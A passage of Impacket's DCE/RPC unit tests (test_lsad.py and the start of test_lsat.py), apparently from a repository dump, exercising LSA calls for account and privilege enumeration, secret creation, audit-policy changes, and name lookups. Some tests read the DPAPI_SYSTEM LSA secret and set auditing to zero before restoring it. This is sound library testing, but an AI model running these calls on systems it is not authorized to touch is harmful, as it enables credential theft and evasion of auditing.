dce, rpctransport = self.connect()\n        policyHandle = self.open_policy(dce)\n        try:\n            resp = lsad.hLsarEnumerateTrustedDomainsEx(dce, policyHandle)\n            resp.dump()\n        except Exception as e:\n            if str(e).find('STATUS_NO_MORE_ENTRIES') < 0:\n                raise\n\n    def test_LsarEnumerateTrustedDomains(self):\n        dce, rpctransport = self.connect()\n        policyHandle = self.open_policy(dce)\n        request = lsad.LsarEnumerateTrustedDomains()\n        request['PolicyHandle'] = policyHandle\n        request['EnumerationContext'] = 0\n        request['PreferedMaximumLength'] = 0xffffffff\n        try:\n            resp = dce.request(request)\n            resp.dump()\n        except Exception as e:\n            if str(e).find('STATUS_NO_MORE_ENTRIES') < 0:\n                raise\n\n    def test_hLsarEnumerateTrustedDomains(self):\n        dce, rpctransport = self.connect()\n        policyHandle = self.open_policy(dce)\n        try:\n            resp = lsad.hLsarEnumerateTrustedDomains(dce, policyHandle)\n            resp.dump()\n        except Exception as e:\n            if str(e).find('STATUS_NO_MORE_ENTRIES') < 0:\n                raise\n\n    def test_hLsarOpenAccount(self):\n        dce, rpctransport = self.connect()\n        policyHandle = self.open_policy(dce)\n        resp = lsad.hLsarEnumerateAccounts(dce, policyHandle)\n        resp.dump()\n\n        resp = lsad.hLsarOpenAccount(dce, policyHandle, resp['EnumerationBuffer']['Information'][0]['Sid'].formatCanonical())\n        resp.dump()\n\n        resp = lsad.hLsarClose(dce, resp['AccountHandle'])\n        resp.dump()\n\n    def test_LsarOpenAccount(self):\n        dce, rpctransport = self.connect()\n        policyHandle = self.open_policy(dce)\n        request = lsad.LsarEnumerateAccounts()\n        request['PolicyHandle'] = policyHandle\n        request['PreferedMaximumLength'] = 0xffffffff\n        resp = dce.request(request)\n        resp.dump()\n\n        request = lsad.LsarOpenAccount()\n        request['PolicyHandle'] = policyHandle\n        request['AccountSid'] = resp['EnumerationBuffer']['Information'][0]['Sid']\n        request['DesiredAccess'] = MAXIMUM_ALLOWED\n        resp = dce.request(request)\n        resp.dump()\n\n        request = lsad.LsarClose()\n        request['ObjectHandle'] = resp['AccountHandle']\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_LsarCreateAccount_LsarDeleteObject(self):\n        dce, rpctransport = self.connect()\n        policyHandle = self.open_policy(dce)\n        request = lsad.LsarQueryInformationPolicy2()\n        request['PolicyHandle'] = policyHandle\n        request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation\n        resp = dce.request(request)\n\n        sid = resp['PolicyInformation']['PolicyAccountDomainInfo']['DomainSid'].formatCanonical()\n        sid = sid + '-9999'\n\n        request = lsad.LsarCreateAccount()\n        request['PolicyHandle'] = policyHandle\n        request['AccountSid'].fromCanonical(sid)\n        request['DesiredAccess'] = MAXIMUM_ALLOWED\n        resp = dce.request(request)\n        resp.dump()\n\n        request = lsad.LsarDeleteObject()\n        request['ObjectHandle'] = resp['AccountHandle']\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hLsarCreateAccount_hLsarDeleteObject(self):\n        dce, rpctransport = self.connect()\n        policyHandle = self.open_policy(dce)\n        resp = lsad.hLsarQueryInformationPolicy2(dce, policyHandle,lsad.POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation)\n\n        sid = resp['PolicyInformation']['PolicyAccountDomainInfo']['DomainSid'].formatCanonical()\n        sid = sid + '-9999'\n\n        resp = lsad.hLsarCreateAccount(dce, policyHandle, sid)\n        resp.dump()\n\n        resp = lsad.hLsarDeleteObject(dce,resp['AccountHandle'])\n        resp.dump()\n\n    def test_LsarEnumeratePrivilegesAccount(self):\n        dce, rpctransport = self.connect()\n        policyHandle = self.open_policy(dce)\n        sid = 'S-1-5-32-544'\n\n        request = lsad.LsarOpenAccount()\n        request['PolicyHandle'] = policyHandle\n        request['AccountSid'].fromCanonical(sid)\n        request['DesiredAccess'] = MAXIMUM_ALLOWED\n        resp = dce.request(request)\n        resp.dump()\n\n        request = lsad.LsarEnumeratePrivilegesAccount()\n        request['AccountHandle'] = resp['AccountHandle']\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hLsarEnumeratePrivilegesAccount(self):\n        dce, rpctransport = self.connect()\n        policyHandle = self.open_policy(dce)\n        sid = 'S-1-5-32-544'\n\n        resp = lsad.hLsarOpenAccount(dce, policyHandle, sid)\n        resp.dump()\n\n        resp = lsad.hLsarEnumeratePrivilegesAccount(dce,resp['AccountHandle'] )\n        resp.dump()\n\n    def test_LsarGetSystemAccessAccount_LsarSetSystemAccessAccount(self):\n        dce, rpctransport = self.connect()\n        policyHandle = self.open_policy(dce)\n        sid = 'S-1-5-32-544'\n\n        request = lsad.LsarOpenAccount()\n        request['PolicyHandle'] = policyHandle\n        request['AccountSid'].fromCanonical(sid)\n        request['DesiredAccess'] = MAXIMUM_ALLOWED\n        resp = dce.request(request)\n        resp.dump()\n\n        request = lsad.LsarGetSystemAccessAccount()\n        request['AccountHandle'] = resp['AccountHandle']\n        resp2 = dce.request(request)\n        resp.dump()\n\n        request = lsad.LsarSetSystemAccessAccount()\n        request['AccountHandle'] = resp['AccountHandle']\n        request['SystemAccess'] = resp2['SystemAccess']\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hLsarGetSystemAccessAccount_hLsarSetSystemAccessAccount(self):\n        dce, rpctransport = self.connect()\n        policyHandle = self.open_policy(dce)\n        sid = 'S-1-5-32-544'\n\n        resp = lsad.hLsarOpenAccount(dce, policyHandle, sid)\n        resp.dump()\n\n        resp2 = lsad.hLsarGetSystemAccessAccount(dce, resp['AccountHandle'])\n        resp2.dump()\n\n        resp = lsad.hLsarSetSystemAccessAccount(dce,resp['AccountHandle'],resp2['SystemAccess'])\n        resp.dump()\n\n    def test_LsarAddPrivilegesToAccount_LsarRemovePrivilegesFromAccount(self):\n        dce, rpctransport = self.connect()\n        policyHandle = self.open_policy(dce)\n        request = lsad.LsarQueryInformationPolicy2()\n        request['PolicyHandle'] = policyHandle\n        request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation\n        resp = dce.request(request)\n\n        sid = resp['PolicyInformation']['PolicyAccountDomainInfo']['DomainSid'].formatCanonical()\n        sid = sid + '-9999'\n\n        request = lsad.LsarCreateAccount()\n        request['PolicyHandle'] = policyHandle\n        request['AccountSid'].fromCanonical(sid)\n        request['DesiredAccess'] = MAXIMUM_ALLOWED | lsad.ACCOUNT_ADJUST_PRIVILEGES\n        resp = dce.request(request)\n        resp.dump()\n        accountHandle = resp['AccountHandle']\n\n        request = lsad.LsarAddPrivilegesToAccount()\n        request['AccountHandle'] = accountHandle\n        request['Privileges']['PrivilegeCount'] = 1\n        request['Privileges']['Control'] = 0\n        attribute = lsad.LSAPR_LUID_AND_ATTRIBUTES()\n        attribute['Luid']['LowPart'] = 0\n        attribute['Luid']['HighPart'] = 3\n        attribute['Attributes'] = 3\n        request['Privileges']['Privilege'].append(attribute)\n        try:\n            resp = dce.request(request)\n            resp.dump()\n        except Exception:\n            request = lsad.LsarDeleteObject()\n            request['ObjectHandle'] = accountHandle\n            dce.request(request)\n            return\n\n        request = lsad.LsarRemovePrivilegesFromAccount()\n        request['AccountHandle'] = accountHandle\n        request['AllPrivileges'] = 1\n        request['Privileges'] = NULL\n        resp = dce.request(request)\n        resp.dump()\n\n        request = lsad.LsarDeleteObject()\n        request['ObjectHandle'] = accountHandle\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hLsarAddPrivilegesToAccount_hLsarRemovePrivilegesFromAccount(self):\n        dce, rpctransport = self.connect()\n        policyHandle = self.open_policy(dce)\n\n        resp = lsad.hLsarQueryInformationPolicy2(dce, policyHandle,lsad.POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation)\n\n        sid = resp['PolicyInformation']['PolicyAccountDomainInfo']['DomainSid'].formatCanonical()\n        sid = sid + '-9999'\n\n        resp = lsad.hLsarCreateAccount(dce, policyHandle, sid)\n        accountHandle = resp['AccountHandle']\n\n        attributes = list()\n        attribute = lsad.LSAPR_LUID_AND_ATTRIBUTES()\n        attribute['Luid']['LowPart'] = 0\n        attribute['Luid']['HighPart'] = 3\n        attribute['Attributes'] = 3\n        attributes.append(attribute)\n        try:\n            resp = lsad.hLsarAddPrivilegesToAccount(dce,accountHandle, attributes)\n            resp.dump()\n        except Exception:\n            resp = lsad.hLsarDeleteObject(dce, accountHandle)\n            return\n\n        resp = lsad.hLsarRemovePrivilegesFromAccount(dce, accountHandle, NULL, 1)\n        resp.dump()\n\n        resp = lsad.hLsarDeleteObject(dce,accountHandle )\n        resp.dump()\n\n    def test_LsarEnumerateAccountRights(self):\n        dce, rpctransport = self.connect()\n        policyHandle = self.open_policy(dce)\n        sid = 'S-1-5-32-544'\n\n        request = lsad.LsarEnumerateAccountRights()\n        request['PolicyHandle'] = policyHandle\n        request['AccountSid'].fromCanonical(sid)\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hLsarEnumerateAccountRights(self):\n        dce, rpctransport = self.connect()\n        policyHandle = self.open_policy(dce)\n        sid = 'S-1-5-32-544'\n\n        resp = lsad.hLsarEnumerateAccountRights(dce, policyHandle, sid)\n        resp.dump()\n\n    def test_LsarAddAccountRights_LsarRemoveAccountRights(self):\n        dce, rpctransport = self.connect()\n        policyHandle = self.open_policy(dce)\n        sid = 'S-1-5-32-504'\n\n        request = lsad.LsarAddAccountRights()\n        request['PolicyHandle'] = policyHandle\n        request['AccountSid'].fromCanonical(sid)\n        request['UserRights']['EntriesRead'] = 1\n        right = RPC_UNICODE_STRING()\n        right['Data'] = 'SeChangeNotifyPrivilege'\n        request['UserRights']['UserRights'].append(right)\n        resp = dce.request(request)\n        resp.dump()\n\n        request = lsad.LsarRemoveAccountRights()\n        request['PolicyHandle'] = policyHandle\n        request['AccountSid'].fromCanonical(sid)\n        request['UserRights']['EntriesRead'] = 1\n        right = RPC_UNICODE_STRING()\n        right['Data'] = 'SeChangeNotifyPrivilege'\n        request['UserRights']['UserRights'].append(right)\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hLsarAddAccountRights_hLsarRemoveAccountRights(self):\n        dce, rpctransport = self.connect()\n        policyHandle = self.open_policy(dce)\n        sid = 'S-1-5-32-504'\n\n        resp = lsad.hLsarAddAccountRights(dce, policyHandle, sid, ('SeChangeNotifyPrivilege', ))\n        resp.dump()\n        resp = lsad.hLsarRemoveAccountRights(dce, policyHandle, sid, ('SeChangeNotifyPrivilege', ))\n        resp.dump()\n\n    def test_LsarCreateSecret_LsarOpenSecret(self):\n        dce, rpctransport = self.connect()\n        policyHandle = self.open_policy(dce)\n\n        request = lsad.LsarCreateSecret()\n        request['PolicyHandle'] = policyHandle\n        request['SecretName'] = 'MYSECRET'\n        request['DesiredAccess'] = MAXIMUM_ALLOWED\n        resp = dce.request(request)\n        resp.dump()\n\n        request = lsad.LsarOpenSecret()\n        request['PolicyHandle'] = policyHandle\n        request['SecretName'] = 'MYSECRET'\n        request['DesiredAccess'] = MAXIMUM_ALLOWED\n        resp0 = dce.request(request)\n        resp0.dump()\n\n        request = lsad.LsarSetSecret()\n        request['SecretHandle'] = resp0['SecretHandle']\n        request['EncryptedCurrentValue']['Length'] = 16\n        request['EncryptedCurrentValue']['MaximumLength'] = 16\n        request['EncryptedCurrentValue']['Buffer'] = list('A'*16)\n        request['EncryptedOldValue']['Length'] = 16\n        request['EncryptedOldValue']['MaximumLength'] = 16\n        request['EncryptedOldValue']['Buffer'] = list('A'*16)\n        #request['EncryptedCurrentValue'] = NULL\n        #request['EncryptedOldValue'] = NULL\n        try:\n            resp = dce.request(request)\n            resp.dump()\n        except Exception:\n            pass\n\n        request = lsad.LsarDeleteObject()\n        request['ObjectHandle'] = resp0['SecretHandle']\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hLsarCreateSecret_hLsarOpenSecret(self):\n        dce, rpctransport = self.connect()\n        policyHandle = self.open_policy(dce)\n\n        resp = lsad.hLsarCreateSecret(dce, policyHandle, 'MYSECRET')\n        resp.dump()\n\n        resp0 = lsad.hLsarOpenSecret(dce, policyHandle, 'MYSECRET')\n        resp0.dump()\n\n        try:\n            resp = lsad.hLsarSetSecret(dce, resp0['SecretHandle'], 'A'*16, 'A'*16)\n            resp.dump()\n        except Exception:\n            pass\n\n        resp = lsad.hLsarDeleteObject(dce,resp0['SecretHandle'])\n        resp.dump()\n\n    def test_LsarQuerySecret(self):\n        dce, rpctransport = self.connect()\n        policyHandle = self.open_policy(dce)\n\n        request = lsad.LsarOpenSecret()\n        request['PolicyHandle'] = policyHandle\n        request['SecretName'] = 'DPAPI_SYSTEM'\n        request['DesiredAccess'] = MAXIMUM_ALLOWED\n        resp0 = dce.request(request)\n        resp0.dump()\n\n        request = lsad.LsarQuerySecret()\n        request['SecretHandle'] = resp0['SecretHandle']\n        request['EncryptedCurrentValue']['Buffer'] = NULL\n        request['EncryptedOldValue']['Buffer'] = NULL\n        request['OldValueSetTime'] = NULL\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hLsarQuerySecret(self):\n        dce, rpctransport = self.connect()\n        policyHandle = self.open_policy(dce)\n\n        resp0 = lsad.hLsarOpenSecret(dce, policyHandle, 'DPAPI_SYSTEM')\n        resp0.dump()\n\n        resp = lsad.hLsarQuerySecret(dce, resp0['SecretHandle'])\n        resp.dump()\n\n    def test_LsarRetrievePrivateData_LsarStorePrivateData(self):\n        dce, rpctransport = self.connect()\n        policyHandle = self.open_policy(dce)\n\n        request = lsad.LsarRetrievePrivateData()\n        request['PolicyHandle'] = policyHandle\n        request['KeyName'] = 'DPAPI_SYSTEM'\n        resp0 = dce.request(request)\n        resp0.dump()\n\n        request = lsad.LsarStorePrivateData()\n        request['PolicyHandle'] = policyHandle\n        request['KeyName'] = 'BETUS'\n        request['EncryptedData'] = resp0['EncryptedData']\n        resp = dce.request(request)\n        resp.dump()\n\n        request = lsad.LsarStorePrivateData()\n        request['PolicyHandle'] = policyHandle\n        request['KeyName'] = 'BETUS'\n        request['EncryptedData'] = NULL\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hLsarRetrievePrivateData_hLsarStorePrivateData(self):\n        dce, rpctransport = self.connect()\n        policyHandle = self.open_policy(dce)\n\n        resp0 = lsad.hLsarRetrievePrivateData(dce,policyHandle, 'DPAPI_SYSTEM')\n        #hexdump(resp0)\n\n        resp = lsad.hLsarStorePrivateData(dce, policyHandle, 'BETUS', resp0)\n        resp.dump()\n\n        resp = lsad.hLsarStorePrivateData(dce, policyHandle, 'BETUS', NULL)\n        resp.dump()\n\n    def test_LsarEnumeratePrivileges(self):\n        dce, rpctransport = self.connect()\n        policyHandle = self.open_policy(dce)\n\n        request = lsad.LsarEnumeratePrivileges()\n        request['PolicyHandle'] = policyHandle\n        request['EnumerationContext'] = 0\n        request['PreferedMaximumLength'] = 0xffffffff\n        resp = dce.request(request)\n        resp.dump()\n\n        self.assertEqual(resp['EnumerationBuffer']['Entries'], len(resp['EnumerationBuffer']['Privileges']))\n\n    def test_hLsarEnumeratePrivileges(self):\n        dce, rpctransport = self.connect()\n        policyHandle = self.open_policy(dce)\n\n        resp = lsad.hLsarEnumeratePrivileges(dce, policyHandle)\n        resp.dump()\n\n        self.assertEqual(resp['EnumerationBuffer']['Entries'], len(resp['EnumerationBuffer']['Privileges']))\n\n    def test_LsarLookupPrivilegeValue_LsarLookupPrivilegeName(self):\n        dce, rpctransport = self.connect()\n        policyHandle = self.open_policy(dce)\n\n        request = lsad.LsarLookupPrivilegeValue()\n        request['PolicyHandle'] = policyHandle\n        request['Name'] = 'SeTimeZonePrivilege'\n        resp = dce.request(request)\n        resp.dump()\n\n        request = lsad.LsarLookupPrivilegeName()\n        request['PolicyHandle'] = policyHandle\n        request['Value'] = resp['Value']\n        resp = dce.request(request)\n        resp.dump()\n\n        self.assertEqual(resp['Name'], 'SeTimeZonePrivilege')\n\n    def test_hLsarLookupPrivilegeValue_hLsarLookupPrivilegeName(self):\n        dce, rpctransport = self.connect()\n        policyHandle = self.open_policy(dce)\n\n        resp = lsad.hLsarLookupPrivilegeValue(dce, policyHandle,'SeTimeZonePrivilege' )\n        resp.dump()\n\n        resp = lsad.hLsarLookupPrivilegeName(dce, policyHandle, resp['Value'])\n        resp.dump()\n\n        self.assertEqual(resp['Name'], 'SeTimeZonePrivilege')\n\n    def test_LsarLookupPrivilegeDisplayName(self):\n        dce, rpctransport = self.connect()\n        policyHandle = self.open_policy(dce)\n\n        request = lsad.LsarLookupPrivilegeDisplayName()\n        request['PolicyHandle'] = policyHandle\n        request['Name'] = 'SeTimeZonePrivilege'\n        request['ClientLanguage'] = 1\n        request['ClientSystemDefaultLanguage'] = 1\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_LsarQuerySecurityObject_LsarSetSecurityObject(self):\n        dce, rpctransport = self.connect()\n        policyHandle = self.open_policy(dce)\n\n        request = lsad.LsarQuerySecurityObject()\n        request['PolicyHandle'] = policyHandle\n        request['SecurityInformation'] = lsad.OWNER_SECURITY_INFORMATION\n        resp = dce.request(request)\n        resp.dump()\n\n        self.assertEqual(resp['SecurityDescriptor']['Length'], len(resp['SecurityDescriptor']['SecurityDescriptor']))\n\n        request = lsad.LsarSetSecurityObject()\n        request['PolicyHandle'] = policyHandle\n        request['SecurityInformation'] = lsad.OWNER_SECURITY_INFORMATION\n        request['SecurityDescriptor'] = resp['SecurityDescriptor']\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hLsarQuerySecurityObject_hLsarSetSecurityObject(self):\n        dce, rpctransport = self.connect()\n        policyHandle = self.open_policy(dce)\n\n        resp = lsad.hLsarQuerySecurityObject(dce, policyHandle, lsad.OWNER_SECURITY_INFORMATION)\n        hexdump(resp)\n\n        resp = lsad.hLsarSetSecurityObject(dce, policyHandle, lsad.OWNER_SECURITY_INFORMATION,resp)\n        resp.dump()\n\n    def test_LsarQueryForestTrustInformation(self):\n        dce, rpctransport = self.connect()\n        policyHandle = self.open_policy(dce)\n\n        request = lsad.LsarQueryForestTrustInformation()\n        request['PolicyHandle'] = policyHandle\n        request['TrustedDomainName'] = 'CORE'\n        request['HighestRecordType'] = lsad.LSA_FOREST_TRUST_RECORD_TYPE.ForestTrustTopLevelName\n        try:\n            resp = dce.request(request)\n            resp.dump()\n        except Exception as e:\n            if str(e).find('STATUS_NO_SUCH_DOMAIN') < 0:\n                raise\n\n    def test_LsarSetInformationPolicy2(self):\n        dce, rpctransport = self.connect()\n        policyHandle = self.open_policy(dce)\n        request = lsad.LsarQueryInformationPolicy2()\n        request['PolicyHandle'] = policyHandle\n        request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyAuditEventsInformation\n        resp = dce.request(request)\n        resp.dump()\n        oldValue = resp['PolicyInformation']['PolicyAuditEventsInfo']['AuditingMode']\n\n        req = lsad.LsarSetInformationPolicy2()\n        req['PolicyHandle'] = policyHandle\n        req['InformationClass'] = request['InformationClass']\n        req['PolicyInformation'] = resp['PolicyInformation']\n        req['PolicyInformation']['PolicyAuditEventsInfo']['AuditingMode'] = 0\n        resp2 = dce.request(req)\n        resp2.dump()\n\n        resp = dce.request(request)\n        resp.dump()\n\n        req['PolicyInformation']['PolicyAuditEventsInfo']['AuditingMode'] = oldValue\n        resp2 = dce.request(req)\n        resp2.dump()\n        ################################################################################ \n\n        #request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyPrimaryDomainInformation\n        #resp = dce.request(request)\n        #resp.dump()\n        #oldValue = resp['PolicyInformation']['PolicyPrimaryDomainInfo']['Name']\n\n        #req = lsad.LsarSetInformationPolicy2()\n        #req['PolicyHandle'] = policyHandle\n        #req['InformationClass'] = request['InformationClass']\n        #req['PolicyInformation'] = resp['PolicyInformation']\n        #req['PolicyInformation']['PolicyPrimaryDomainInfo']['Name'] = 'BETUS'\n        #resp2 = dce.request(req)\n        #resp2.dump()\n\n        #resp = dce.request(request)\n        #resp.dump()\n\n        #self.assertEqual('BETUS', resp['PolicyInformation']['PolicyPrimaryDomainInfo']['Name'])\n\n        #req['PolicyInformation']['PolicyPrimaryDomainInfo']['Name'] = oldValue\n        #resp2 = dce.request(req)\n        #resp2.dump()\n\n        ################################################################################ \n\n        #request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation\n        #resp = dce.request(request)\n        #resp.dump()\n        #oldValue = resp['PolicyInformation']['PolicyAccountDomainInfo']['DomainName']\n\n        #req = lsad.LsarSetInformationPolicy2()\n        #req['PolicyHandle'] = policyHandle\n        #req['InformationClass'] = request['InformationClass']\n        #req['PolicyInformation'] = resp['PolicyInformation']\n        #req['PolicyInformation']['PolicyAccountDomainInfo']['DomainName'] = 'BETUS'\n        #resp2 = dce.request(req)\n        #resp2.dump()\n\n        #resp = dce.request(request)\n        #resp.dump()\n\n        #self.assertEqual('BETUS', resp['PolicyInformation']['PolicyAccountDomainInfo']['DomainName'])\n\n        #req['PolicyInformation']['PolicyAccountDomainInfo']['DomainName'] = oldValue\n        #resp2 = dce.request(req)\n        #resp2.dump()\n\n        ################################################################################ \n\n        # ToDo rest of the Information Classes\n\n    def test_hLsarSetInformationPolicy2(self):\n        dce, rpctransport = self.connect()\n        policyHandle = self.open_policy(dce)\n        resp = lsad.hLsarQueryInformationPolicy2(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyAuditEventsInformation)\n        resp.dump()\n        oldValue = resp['PolicyInformation']['PolicyAuditEventsInfo']['AuditingMode']\n\n        resp['PolicyInformation']['PolicyAuditEventsInfo']['AuditingMode'] = 0\n        resp2 = lsad.hLsarSetInformationPolicy2(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyAuditEventsInformation, resp['PolicyInformation'] )\n        resp2.dump()\n\n        resp = lsad.hLsarQueryInformationPolicy2(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyAuditEventsInformation)\n        resp.dump()\n\n        resp['PolicyInformation']['PolicyAuditEventsInfo']['AuditingMode'] = oldValue\n        resp2 = lsad.hLsarSetInformationPolicy2(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyAuditEventsInformation, resp['PolicyInformation'] )\n        resp2.dump()\n\n    def test_LsarSetInformationPolicy(self):\n        dce, rpctransport = self.connect()\n        policyHandle = self.open_policy(dce)\n        request = lsad.LsarQueryInformationPolicy()\n        request['PolicyHandle'] = policyHandle\n        request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyAuditEventsInformation\n        resp = dce.request(request)\n        resp.dump()\n        oldValue = resp['PolicyInformation']['PolicyAuditEventsInfo']['AuditingMode']\n\n        req = lsad.LsarSetInformationPolicy()\n        req['PolicyHandle'] = policyHandle\n        req['InformationClass'] = request['InformationClass']\n        req['PolicyInformation'] = resp['PolicyInformation']\n        req['PolicyInformation']['PolicyAuditEventsInfo']['AuditingMode'] = 0\n        resp2 = dce.request(req)\n        resp2.dump()\n\n        resp = dce.request(request)\n        resp.dump()\n\n        req['PolicyInformation']['PolicyAuditEventsInfo']['AuditingMode'] = oldValue\n        resp2 = dce.request(req)\n        resp2.dump()\n        ################################################################################ \n\n        #request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyPrimaryDomainInformation\n        #resp = dce.request(request)\n        #resp.dump()\n        #oldValue = resp['PolicyInformation']['PolicyPrimaryDomainInfo']['Name']\n\n        #req = lsad.LsarSetInformationPolicy()\n        #req['PolicyHandle'] = policyHandle\n        #req['InformationClass'] = request['InformationClass']\n        #req['PolicyInformation'] = resp['PolicyInformation']\n        #req['PolicyInformation']['PolicyPrimaryDomainInfo']['Name'] = 'BETUS'\n        #resp2 = dce.request(req)\n        #resp2.dump()\n\n        #resp = dce.request(request)\n        #resp.dump()\n        #self.assertEqual('BETUS', resp['PolicyInformation']['PolicyPrimaryDomainInfo']['Name'])\n\n        #req['PolicyInformation']['PolicyPrimaryDomainInfo']['Name'] = oldValue\n        #resp2 = dce.request(req)\n        #resp2.dump()\n\n        ################################################################################ \n\n        #request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation\n        #resp = dce.request(request)\n        #resp.dump()\n        #oldValue = resp['PolicyInformation']['PolicyAccountDomainInfo']['DomainName']\n\n        #req = lsad.LsarSetInformationPolicy()\n        #req['PolicyHandle'] = policyHandle\n        #req['InformationClass'] = request['InformationClass']\n        #req['PolicyInformation'] = resp['PolicyInformation']\n        #req['PolicyInformation']['PolicyAccountDomainInfo']['DomainName'] = 'BETUS'\n        #resp2 = dce.request(req)\n        #resp2.dump()\n\n        #resp = dce.request(request)\n        #resp.dump()\n\n        #self.assertEqual('BETUS', resp['PolicyInformation']['PolicyAccountDomainInfo']['DomainName'])\n\n        #req['PolicyInformation']['PolicyAccountDomainInfo']['DomainName'] = oldValue\n        #resp2 = dce.request(req)\n        #resp2.dump()\n\n        ################################################################################ \n\n        # ToDo rest of the Information Classes\n\n    def test_hLsarSetInformationPolicy(self):\n        dce, rpctransport = self.connect()\n        policyHandle = self.open_policy(dce)\n        resp = lsad.hLsarQueryInformationPolicy(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyAuditEventsInformation)\n        resp.dump()\n        oldValue = resp['PolicyInformation']['PolicyAuditEventsInfo']['AuditingMode']\n\n        resp['PolicyInformation']['PolicyAuditEventsInfo']['AuditingMode'] = 0\n        resp2 = lsad.hLsarSetInformationPolicy2(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyAuditEventsInformation, resp['PolicyInformation'] )\n        resp2.dump()\n\n        resp = lsad.hLsarQueryInformationPolicy2(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyAuditEventsInformation)\n        resp.dump()\n\n        resp['PolicyInformation']['PolicyAuditEventsInfo']['AuditingMode'] = oldValue\n        resp2 = lsad.hLsarSetInformationPolicy2(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyAuditEventsInformation, resp['PolicyInformation'] )\n        resp2.dump()\n\n\n@pytest.mark.remote\nclass LSADTestsSMBTransport(LSADTests, unittest.TestCase):\n    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR\n\n\n@pytest.mark.remote\nclass LSADTestsSMBTransport64(LSADTests, unittest.TestCase):\n    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64\n\n\n# Process command-line arguments.\nif __name__ == \"__main__\":\n    unittest.main(verbosity=1)\n"
  },
  {
    "path": "tests/dcerpc/test_lsat.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Tested so far:\n#   (h)LsarGetUserName\n#   (h)LsarLookupNames\n#   (h)LsarLookupNames2\n#   (h)LsarLookupNames3\n#   (h)LsarLookupNames4\n#   (h)LsarLookupSids\n#   (h)LsarLookupSids2\n#   LsarLookupSids3\n#\nfrom __future__ import division\nfrom __future__ import print_function\nimport pytest\nimport unittest\nfrom six import assertRaisesRegex\nfrom tests.dcerpc import DCERPCTests\n\nfrom impacket.dcerpc.v5 import lsat, lsad\nfrom impacket.dcerpc.v5.rpcrt import DCERPCException\nfrom impacket.dcerpc.v5.dtypes import NULL, MAXIMUM_ALLOWED, RPC_UNICODE_STRING\n\n\nclass LSATTests(DCERPCTests):\n    iface_uuid = lsat.MSRPC_UUID_LSAT\n    string_binding = r\"ncacn_np:{0.machine}[\\PIPE\\lsarpc]\"\n    authn = True\n\n    def open_policy(self, dce):\n        request = lsad.LsarOpenPolicy2()\n        request['SystemName'] = NULL\n        request['ObjectAttributes']['RootDirectory'] = NULL\n        request['ObjectAttributes']['ObjectName'] = NULL\n        request['ObjectAttributes']['SecurityDescriptor'] = NULL\n        request['ObjectAttributes']['SecurityQualityOfService'] = NULL\n        request['DesiredAccess'] = MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES\n        resp = dce.request(request)\n        return resp['PolicyHandle']\n\n    def test_LsarGetUserName(self):\n        dce, rpctransport = self.connect()\n        request = lsat.LsarGetUserName()\n        request['SystemName'] = NULL\n        request['UserName'] = NULL\n        request['DomainName'] = NULL\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hLsarGetUserName(self):\n        dce, rpctransport = self.connect()\n        resp = lsat.hLsarGetUserName(dce)\n        resp.dump()\n\n    def test_LsarLookupNames4(self):\n        dce, rpctransport = self.connect()\n\n        request = lsat.LsarLookupNames4()\n        request['Count'] = 2\n        name1 = RPC_UNICODE_STRING()\n        name1['Data'] = 'Administrator'\n        name2 = RPC_UNICODE_STRING()\n        name2['Data'] = 'Guest'\n        request['Names'].append(name1)\n        request['Names'].append(name2)\n        request['TranslatedSids']['Sids'] = NULL\n        request['LookupLevel'] = lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta\n        request['LookupOptions'] = 0x00000000\n        request['ClientRevision'] = 0x00000001\n\n        # The RPC server MUST ensure that the RPC_C_AUTHN_NETLOGON security provider\n        # (as specified in [MS-RPCE] section 2.2.1.1.7) and at least\n        # RPC_C_AUTHN_LEVEL_PKT_INTEGRITY authentication level (as specified in\n        # [MS-RPCE] section 2.2.1.1.8) are used in this RPC message.\n        # Otherwise, the RPC server MUST return STATUS_ACCESS_DENIED.\n        with assertRaisesRegex(self, DCERPCException, 'rpc_s_access_denied'):\n            dce.request(request)\n\n    def test_hLsarLookupNames4(self):\n        # not working, I need netlogon here\n        dce, rpctransport = self.connect()\n\n        # The RPC server MUST ensure that the RPC_C_AUTHN_NETLOGON security provider\n        # (as specified in [MS-RPCE] section 2.2.1.1.7) and at least\n        # RPC_C_AUTHN_LEVEL_PKT_INTEGRITY authentication level (as specified in\n        # [MS-RPCE] section 